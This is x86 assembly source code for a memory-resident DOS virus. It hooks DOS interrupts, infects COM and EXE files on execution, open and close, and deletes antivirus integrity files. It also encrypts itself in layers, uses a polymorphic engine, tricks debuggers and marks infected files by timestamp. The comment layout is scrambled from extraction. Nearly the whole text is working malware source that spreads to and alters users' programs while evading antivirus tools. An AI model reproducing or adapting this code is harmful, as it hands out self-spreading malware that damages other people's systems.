;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus entry point for all targets (COM and EXE files) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄentry_point:

delta:

push ds push es db 0BDh dw 0000h push cs pop ds cli pushf pop ax or ax,2000h push ax popf pushf pop ax sti test ax,2000h jz exit_install mov esi,"ANTI" mov ah,30h int 21h cmp esi,"ETA!" je exit_install cmp al,05h jb exit_install ; ; ; ; ; ; ; ; ;

; Save segment regs ; ; ; ; ; ;

Get delta (mov bp,nnnn) Point DS to our code Check for 386+ CPU

; Exit if 286 ; or below ; ; ; ; ; ;

Get DOS version and perform installation check MS-DOS 5.0+ check

I found a problem using this method of residency when the virus tries to go resident while a copy of itself is waiting for enough DOS idle time. Fix: The virus can check if another copy of itself is using the DOS idle interrupt. Just check for a breakpoint in the first byte of int 28h.

mov ax,3528h int 21h cmp byte ptr es:[bx],0CCh je exit_install mov ah,62h int 21h mov es,bx xor si,si mov dx,bx

; ; ; ; ; ; ;

Get int 28h vector int 3? Yes, abort Get and save active PSP ES:SI -> host PSP

; Always DW=host PSP

; ; ; ; ; ; ; ;

A new problem appears when an infected program executes another file which is also infected. Fix: Get parent PSP and check the name of the MCB behind. Go resident only if the command interpreter is the parent of the infected host.

mov ax,word ptr es:[si+16h] mov di,ax dec ax mov es,ax cmp dword ptr es:[si+08h],"MMOC" jne exit_install mov es,dx mov ah,4Ah push ax mov bx,0FFFFh int 21h pop ax sub bx,mem_para_size+01h int 21h jc exit_install mov bx,di mov ah,50h int 21h jc exit_install mov ah,48h mov bx,mem_para_size int 21h mov es,ax call move_virus push ds mov ds,dx xor si,si mov eax,dword ptr ds:[si+0Ah] mov dword ptr es:[old22h],eax mov word ptr ds:[si+0Ah],offset my22h mov word ptr ds:[si+0Ch],es pop ds mov bx,dx mov ah,50h int 21h exit_install:

mov eax,dword ptr ds:[bp+host_type] cmp eax,".COM" je exit_com cmp eax,".EXE" je exit_exe

; Get parent PSP ; Get parent MCB ; Check name in MCB ; Get host PSP ; Get free memory

; Sub some memory ; for our code

; Activate command ; PSP ; Ask for memory

; Copy virus to ; allocated memory

; ; ; ;

DS:SI -> host PSP Get int 22h vector, save it and point to our handle

; Now set host PSP ; as current PSP

; Is it a COM host? ; An EXE host?

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit for 1st virus generation ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_launcher:

pop pop mov int

es ds ax,4C00h 21h

; ; ; ;

Exit virus launcher Restore segment regs and call to terminate prog

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit from a COM file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

exit_com:

mov eax,dword ptr ds:[bp+old_header] mov dword ptr ds:[0100h],eax pop es pop ds push cs push 0100h xor ax,ax mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax mov bp,ax retf

; Restore first ; four bytes ; Restore segments ; Save return address ; Clear some regs

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Exit from an EXE file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄexit_exe:

exe_ip_cs

mov ah,62h int 21h add bx,0010h add word ptr ds:[bp+exe_ip_cs+02h],bx add bx,word ptr ds:[bp+old_header+0Eh] pop es pop ds cli mov ss,bx mov sp,word ptr cs:[bp+old_header+10h] sti xor ax,ax mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax mov bp,ax db 0EBh,00h db 0EAh dd 00000000h

; Get active PSP ; Calculate host CS ; Calculate host SS ; Restore segments ; Fix program stack

; Clear some regs

; Clear prefetch ; Get control back ; to host

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Move virus code to another memory location ³ ;³ On entry: ³ ;³ DS:BP -> current location ³ ;³ ES -> new segment location ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmove_virus:

sub mov mov cld rep ret

di,di si,bp cx,inf_byte_size movsb

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄxchg28h:

push di push es cli

les di,dword ptr cs:[old28h] mov al,byte ptr es:[di] xchg al,byte ptr cs:[breakpoint] stosb sti pop es pop di ret

; Xchg int 28h ; first byte ; with out buffer

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Some code and data out of all the sub-decryptors ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄold03h dd 00000000h crypt_leave21h: db 0EBh,00h db 0EAh old21h dd 00000000h orig21h dd 00000000h crypt_leave22h: db 0EBh,00h db 0EAh old22h dd 00000000h old24h dd 00000000h old28h dd 00000000h breakpoint db 00h host_type dd "CEPA" crypt_delta dw 0000h

; ; ; ; ; ; ; ; ; ; ; ; ;

Int 3 vector Clear prefetch Get control back to original int 21h DOS entry point Clear prefetch Get control back to original int 22h Critical error to original int 28h Int 28h 1st byte File type Delta for decryptor

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Crypt/decrypt area 01h ³ ;³ On entry: ³ ;³ DS -> area 01h segment to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypto01h:

crypt_loop01h:

continue01h:

exit_crypt01h:

push bx push es push ds pop es mov si,word ptr cs:[crypt_delta] add si,offset crypt_area01h mov di,si mov bx,offset crypto01h mov cx,(byte_area01h+01h)/02h cld lodsw push ax pop dx cli mov ax,0002h sub sp,ax sti pop ax cmp ax,dx jne crypt_loop01h xor ax,word ptr cs:[bx] stosw inc bx cmp bx,offset exit_crypt01h jne continue01h mov bx,offset crypto01h loop crypt_loop01h pop es pop bx ret

; Simple stack ; verification

; ; ; ;

Fool tracing Use our code as key to avoid modifications

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 22h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy22h:

crypt_area01h skip_area01h:

exit22h:

push cs pop ds mov word ptr ds:[crypt_delta],0000h mov eax,dword ptr ds:[host_type] cmp eax,"CEPA" je skip_area01h call crypto01h equ this byte db 0EBh,00h mov al,03h call get_int mov word ptr ds:[old03h],bx mov word ptr ds:[old03h+02h],es mov dx,offset my03h call set_int mov al,28h call get_int mov word ptr ds:[old28h],bx mov word ptr ds:[old28h+02h],es mov byte ptr ds:[breakpoint],0CCh call xchg28h jmp crypt_leave22h

; ; ; ; ;

Point DS to virus code Clear delta crypt Launcher doesn't need decryption

; Do decryption ; Clear prefetch ; Save old int 3 ; vector ; ; ; ; ; ; ; ;

Hook int 3 to our int 21h Hooking routine Save int 28h vector and insert an int 3 instruction over the handler code

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Crypt/decrypt area 02h ³ ;³ On entry: ³ ;³ DS -> segment of area 02h to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypto02h:

crypt_loop02h:

push es push ds pop es mov si,word ptr cs:[crypt_delta] add si,offset crypt_area02h mov di,si mov cx,(byte_area02h+02h)/02h cld lodsw xchg ah,al stosw loop crypt_loop02h pop es ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 3 handler (called on every int 28h call) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy03h:

skip_area02h:

call push_all push cs pop ds mov eax,dword ptr ds:[host_type] cmp eax,"CEPA" je skip_area02h call crypto02h db 0EBh,00h call xchg28h mov si,mem_para_size

; ; ; ; ;

Save all regs Point DS to virus code Launcher doesn't need decryption

; ; ; ;

Do decryption Clear prefetch Remove breakpoint Allocate memory

continue_here:

cant_move_it:

call mem_alloc or di,di jz cant_move_it push di mov es,di sub bp,bp call move_virus push offset continue_here retf mov ah,49h push ds pop es int 21h mov al,03h lds dx,dword ptr cs:[old03h] call set_int push cs pop ds mov ax,3521h int 21h mov word ptr ds:[old21h],bx mov word ptr ds:[old21h+02h],es mov word ptr ds:[orig21h],bx mov word ptr ds:[orig21h+02h],es mov ah,52h int 21h mov bx,109Eh cmp word ptr es:[bx],9090h jne no_backdoor cmp byte ptr es:[bx+02h],0E8h jne no_backdoor cmp word ptr es:[bx+05h],0FF2Eh jne no_backdoor mov word ptr ds:[orig21h],bx mov word ptr ds:[orig21h+02h],es ; ; ; ; ; ; ; ; ; ;

no_backdoor:

; Exit if error ; on mem allocation ; ; ; ; ; ; ;

Copy virus to memory Continue execution at newly allocated memory block Free old virus memory

; Restore int 3

; Get and save ; current int 21h

; Use this backdoor ; to get int 21h ; kernel entry point

Function 52h (get ptr to dos info block) returns in ES the segment of the DOS entry point. Offset seems to be always 109eh in lots of machines. Anti-ETA will check if the code looks like: nop nop call xxxx jmp dword ptr cs:[yyyy]

-> -> -> ->

90h 90h E8h xx xx 2Eh FFh 2Eh yy yy

mov eax,dword ptr ds:[host_type] ; Launcher needs cmp eax,"CEPA" ; encryption jne skip_area03h call crypto03h skip_area03h: mov ax,2521h ; Point int 21h mov dx,offset my21h ; to our handler int 21h exit03h: call pop_all ; Restore saved regs pushf call dword ptr cs:[old28h] cli ; Fix stack add sp,0006h ; and return to sti ; int 28h caller iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Do encryption over area 03h (int 21h code) ³

;³ On entry: ³ ;³ DS -> segment of area 03h to crypt/decrypt ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_area02h crypto03h:

short_way:

crypt_loop03h: crypt21h_key

equ this byte db 0EBh,00h push si push di push es push ds pop es mov si,word ptr cs:[crypt_delta] add si,offset crypt_area03h mov di,si mov cx,(byte_area03h+01h)/02h cld db 0EBh,00h lodsw db 05h dw 029Ah stosw loop crypt_loop03h pop es pop di pop si ret

; ; ; ; ; ; ;

Clear prefetch Save some regs and perform encryption using add instruction

; Clear prefetch ; add ax,xxxx

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Decrypt virus int 21h code if needed ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrm_crypt21h:

clear21h: decrypt21h_key

mov ax,cs mov ds,ax mov es,ax mov si,offset crypt_area03h mov di,si mov cx,(byte_area03h+01h)/02h cld db 0EBh,00h lodsw db 2Dh dw 029Ah stosw loop clear21h call rand_16 mov word ptr ds:[crypt21h_key],ax mov word ptr ds:[decrypt21h_key],ax ret

; ; ; ;

Remove int 21h encryption using sub instruction

; Clear prefetch ; sub ax,xxxx

; Get random key

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus int 21h handler ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy21h:

try_get_name:

cmp ah,30h je install_check cmp ah,3Bh jne try_get_name call push_all call rm_crypt21h jmp try_activation cmp ax,4B00h je work_filename cmp ah,3Dh

; Install check? ; Change directory ; Save all regs ; Remove encryption ; Execution? ; Open?

je work_filename cmp ah,6Ch jne try_infection work_filename: call push_all call rm_crypt21h call pop_all call push_all jmp store_filename try_infection: cmp ax,4C00h je work_infection cmp ah,3Eh jne forget_this work_infection: call push_all call rm_crypt21h call pop_all call push_all jmp infect_program forget_this: jmp crypt_leave21h exit21h: push cs pop ds call crypto03h call pop_all jmp crypt_leave21h

; Extended open? ; ; ; ; ; ;

Save all regs Remove encryption Restore regs and save them again Copy filename Terminate?

; ; ; ;

Save all regs Remove encryption Restore regs and save them again

; Redo encryption ; before leaving ; Restore regs

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Perform a call to the original int 21h vector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcall21h:

pushf call dword ptr cs:[orig21h] retf 02h

; Perform a call to ; the interrupt 21h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Installation check ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinstall_check:

cmp esi,"ANTI" je reponde_cabron jmp crypt_leave21h reponde_cabron: pushf call dword ptr cs:[old21h] mov esi,"ETA!" iret

; Is it our check?

; Interrupt 21h ; I am here!!!

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Store name of the file to execute ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcrypt_area03h equ this byte store_filename: db 0EBh,00h cmp ah,6Ch je is_extended mov si,dx is_extended: push cs pop es cmp ah,4Bh jne use_openbuff mov di,offset exec_filename jmp ok_buff_off use_openbuff: mov di,offset open_filename ok_buff_off: push di mov ah,60h int 21h

; Clear prefetch ; Extended open?

; Execute? ; File to execute ; File to open ; Get complete ; filename

push cs pop ds call hook_24h_03h pop si mov dx,offset del_this_shit01 call delete_file mov dx,offset del_this_shit02 call delete_file call free_24h_03h jmp exit21h

; Delete Thunderbyte ; ANTI-VIR.DAT files ; And CHKLIST.MS shit

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ File infection ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinfect_program: db 0EBh,00h push cs pop ds call hook_24h_03h cmp ah,4Ch jne infect_close mov si,offset exec_filename jmp ok_infect_off infect_close: mov si,offset open_filename ok_infect_off: mov ah,19h int 03h add al,"A" cmp byte ptr ds:[si],al jne exit_inf mov bx,si mov dx,si mov cx,0080h cld next_char: lodsb cmp al,"\" je found_slash or al,al je found_00h cmp al,"V" je exit_inf cmp al,"0" jb ok_character cmp al,"9" jbe exit_inf ok_character: loop next_char jmp short exit_inf found_slash: mov bx,si jmp short ok_character found_00h: mov eax,dword ptr ds:[bx] cmp ax,"BT" je exit_inf cmp eax,"NACS" je exit_inf cmp eax,".NIW" je exit_inf cmp eax,"MMOC" je exit_inf mov eax,dword ptr ds:[si-05h] cmp eax,"MOC." je go_into_file cmp eax,"EXE." je go_into_file exit_inf: call free_24h_03h

; Clear prefetch

; Terminate? ; Filename off to SI ; Filename off to SI ; Get current drive

; ; ; ; ;

Infect files only in current drive Position of \ For later use Max path

; Get character

; End of string? ; Is char a V? ; Is char a digit?

; Get file name ; Thunderbyte utils? ; SCAN.EXE? ; WIN.COM? ; COMMAND.COM? ; Get extension ; Is it a COM file? ; What about EXE? ; Restore ints

jmp exit21h go_into_file: mov ax,4300h int 03h jc exit_inf mov word ptr ds:[file_attr],cx mov ax,4301h xor cx,cx int 03h jc exit_inf mov ax,3D02h int 03h jnc save_date_time file_error_1: mov ax,4301h mov cx,word ptr ds:[file_attr] int 03h jmp short exit_inf save_date_time: xchg bx,ax mov ax,5700h int 03h jnc done_date_time file_error_2: mov ah,3Eh int 03h jmp short file_error_1 done_date_time: mov word ptr ds:[file_time],cx mov word ptr ds:[file_date],dx and cl,1Fh cmp cl,0Ah je file_error_3 mov ah,3Fh mov cx,001Ch mov dx,offset inf_header mov si,dx int 03h jc file_error_3 call seek_end jc file_error_3 mov ax,word ptr ds:[file_size] mov dx,word ptr ds:[file_size+02h] or dx,dx jnz ok_min_size cmp ax,inf_byte_size jb file_error_3 ok_min_size: mov ax,word ptr ds:[si] add al,ah cmp al,"M"+"Z" je inf_exe_file jmp inf_com_file file_error_3: mov ax,5701h mov cx,word ptr ds:[file_time] mov dx,word ptr ds:[file_date] int 03h jmp file_error_2

; 3, 24h and exit ; Get file attrib

; Save it ; Clear attributes

; Open file r/w

; Restore saved ; file attribute

; Get handle ; Get date/time

; ; ; ; ; ; ;

If error, close file and restore attribute Save file time Save file date Check if file is already infected

; Read file header

; Seek to EOF and ; get file size

; Too small file?

; Restore time ; And date

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Infect COM files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinf_com_file:

or dx,dx jnz file_error_3 mov ax,word ptr ds:[file_size] cmp ax,0FFFFh-(inf_byte_size+02h) jae file_error_3 call backup_header

; ; ; ;

Huh? this COM file is strange... Avoid too big COM files

; Save header

sub mov mov add mov mov jmp

ax,03h byte ptr ds:[si+00h],0E9h word ptr ds:[si+01h],ax ax,0103h word ptr ds:[delta],ax dword ptr ds:[host_type],".COM" write_body

; Write a jump ; to the viral code

; Save delta offsets ; Set host type

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect EXE files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinf_exe_file:

size_round_1:

exit_header: ok_file_size:

cmp word ptr ds:[si+19h],0040h jae file_error_3 cmp word ptr ds:[si+1Ah],0000h jne file_error_3 cmp word ptr ds:[si+0Ch],0FFFFh jne file_error_3 call backup_header push word ptr ds:[si+14h] pop word ptr ds:[exe_ip_cs] push word ptr ds:[si+16h] pop word ptr ds:[exe_ip_cs+02h] mov ax,word ptr ds:[file_size] mov dx,word ptr ds:[file_size+02h] mov cx,0010h div cx sub ax,word ptr ds:[si+08h] mov word ptr ds:[si+14h],dx mov word ptr ds:[si+16h],ax mov word ptr ds:[delta],dx inc ax mov word ptr ds:[si+0Eh],ax add dx,inf_byte_size+0200h and dx,0FFFEh mov word ptr ds:[si+10h],dx mov ax,word ptr ds:[file_size] mov dx,word ptr ds:[file_size+02h] mov cx,0200h div cx or dx,dx jz size_round_1 inc ax cmp ax,word ptr ds:[si+04h] jne exit_header cmp dx,word ptr ds:[si+02h] je ok_file_size jmp file_error_3 mov dword ptr ds:[host_type],".EXE"

; Avoid Windows shit ; Avoid overlays ; Check maxmem ; ; ; ;

Save header Build a jump to the original entry point

; Get file size ; div 0010h

; ; ; ; ; ; ; ;

Sub header size New entry point at file end Save delta offset New stack segment in load module Move stack pointer using word aligment

; Get file size ; div 0200h

; Check if file ; size is as header ; says

; Set host type

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Append virus body to our victim ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄwrite_body:

push bx mov si,inf_para_size*02h call mem_alloc pop bx or di,di jz no_memory push bx mov es,di xor di,di

; Allocate memory ; for poly decryptor ; and virus body

call gen_polymorph add word ptr ds:[delta],di mov ax,word ptr ds:[eng_entry_point] mov si,offset inf_header cmp dword ptr ds:[host_type],".EXE" je fix_exe fix_com: add word ptr ds:[si+01h],ax jmp short entry_size_fix fix_exe: add word ptr ds:[si+14h],ax mov ax,word ptr ds:[file_size] mov dx,word ptr ds:[file_size+02h] add ax,inf_byte_size adc dx,0000h add ax,di adc dx,0000h mov cx,0200h div cx or dx,dx jz size_round_2 inc ax size_round_2: mov word ptr ds:[si+02h],dx mov word ptr ds:[si+04h],ax entry_size_fix: xor si,si mov cx,inf_byte_size rep movsb push di push es pop ds call crypto03h call crypto02h call crypto01h call gen_encryption mov ah,40h pop cx pop bx xor dx,dx int 03h jc no_write call seek_begin push cs pop ds mov ah,40h mov cx,001Ch mov dx,offset inf_header int 03h mov al,byte ptr ds:[file_time] and al,0E0h or al,0Ah mov byte ptr ds:[file_time],al no_write: mov ah,49h int 03h push cs pop ds mov word ptr ds:[crypt_delta],0000h no_memory: jmp file_error_3

; Save delta offset

; Add to jmp ; Add to IP ; Get file size ; ; ; ; ; ;

Add virus size to file size Add decryptor size to file size Get infected file size div 0200h

; Store new size ; on header

; Crypt area 03h ; Crypt area 02h ; Crypt area 01h ; Write virus body ; at EOF

; Write infected ; header

; ; ; ; ; ;

Mark file as infected using time stamp (seconds=0Ah) Free allocated memory

; Clear crypt delta

